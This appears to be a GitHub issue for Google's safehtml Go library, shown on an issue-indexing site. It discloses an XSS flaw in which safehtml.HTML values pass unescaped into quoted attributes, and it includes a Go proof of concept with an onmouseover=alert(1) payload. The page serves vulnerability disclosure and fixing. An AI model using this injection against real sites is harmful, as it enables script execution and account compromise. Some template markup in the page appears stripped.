google / google/safehtml

safehtml/template: safehtml.HTML values are written raw into quoted attribute values

Open
#18 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Go
Stars
380
Forks
23
PR merge metrics
No merged PRs in 30d

Description

`sanitizersForAttributeValue` (`template/sanitize.go:100`) appends `_sanitizeHTML` to the sanitizer chain for every attribute value, and it runs last. `sanitizeHTML` (`template/sanitizers.go:498`) returns a `safehtml.HTML` argument unchanged:

```
func sanitizeHTML(args ...interface{}) (string, error) {
if len(args) > 0 {
if safeTypeValue, ok := safehtmlutil.Indirect(args[0]).(safehtml.HTML); ok {
return safeTypeValue.String(), nil
}
}
input := safehtmlutil.Stringify(args...)
return safehtml.HTMLEscaped(input).String(), nil
}

```

That shortcut is correct in element content, which is the context covered by `safehtml.HTML`. It is unsafe inside a quoted attribute value because structural quotes in the HTML value can terminate the surrounding attribute.

The same file already has the correct behavior in `sanitizeHTMLValOnly` (`template/sanitizers.go:508`), which is used for `iframe srcdoc`.

No unchecked conversion is required to reach the bug. A fragment rendered by `safehtml/template` is itself a `safehtml.HTML`. If attacker-controlled data appears in the fragment's first quoted attribute, the fragment's opening quote terminates the outer attribute immediately before that data. The browser then parses the data as attributes of the outer element.

Minimal PoC against current safehtml:

```
mkdir poc && cd poc
go mod init poc
go get github.com/google/safehtml@v0.1.0
# save the file below as main.go
go run .

```

```
package main

import (
"fmt"
"strings"

"github.com/google/safehtml/template"
)

func render(label string, t *template.Template, err error, x interface{}) {
if err != nil {
fmt.Printf("%-16s parse rejected: %v\n", label, err)
return
}
var out strings.Builder
if err := t.Execute(&out, map[string]interface{}{"X": x}); err != nil {
fmt.Printf("%-16s rejected: %v\n", label, err)
return
}
fmt.Printf("%-16s %s\n", label, out.String())
}

func main() {
inner := template.Must(template.New("avatar").Parse(
`{{.Alt}}`))
frag, err := inner.ExecuteToHTML(map[string]interface{}{
"Alt": `y onmouseover=alert(1) z`,
})
if err != nil {
panic(err)
}
fmt.Printf("%-16s %s\n", "fragment:", frag.String())

a, aerr := template.New("a").Parse(`

hover
`)
render("as HTML:", a, aerr, frag)

b, berr := template.New("b").Parse(`

hover
`)
render("as string:", b, berr, frag.String())
}

```

Actual output:

```
fragment: y onmouseover=alert(1) z
as HTML:

">hover

as string:
hover

```

In the `as HTML` output, the quote following `alt=` terminates the outer `title` attribute. The browser then parses `y`, `onmouseover=alert(1)`, and `z` as attributes of the outer `

`. The `onmouseover` handler is live and executes when the element is hovered.

The inner template correctly escapes the attacker-controlled value for its original `alt` context. The vulnerability arises only when the resulting, legitimately constructed `safehtml.HTML` is interpolated into the outer attribute and returned unchanged by `sanitizeHTML`.

Passing the identical bytes as a plain string is handled correctly. The safer-looking typed value is therefore the one that permits XSS.

### Attack scenario

A remote attacker who can control data rendered into a safehtml.HTML fragment can exploit the vulnerability when that fragment is subsequently interpolated into a quoted attribute value. Successful exploitation allows the attacker's data to become a live event-handler attribute, resulting in same-origin JavaScript execution and potentially enabling data theft or account compromise.

Contributor guide

Open the contributing guide

Research direction

Read template/sanitize.go:100 and template/sanitizers.go:498, then compare sanitizeHTMLValOnly at :508. Reproduce the supplied PoC and inspect how quoted attributes are parsed. Done means safehtml.HTML remains safe in element content while interpolation into a quoted attribute cannot terminate that attribute or create an event-handler attribute.

Written by the indexing model from the issue text.

Assessment

Tech stack
go
Domain
backend, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.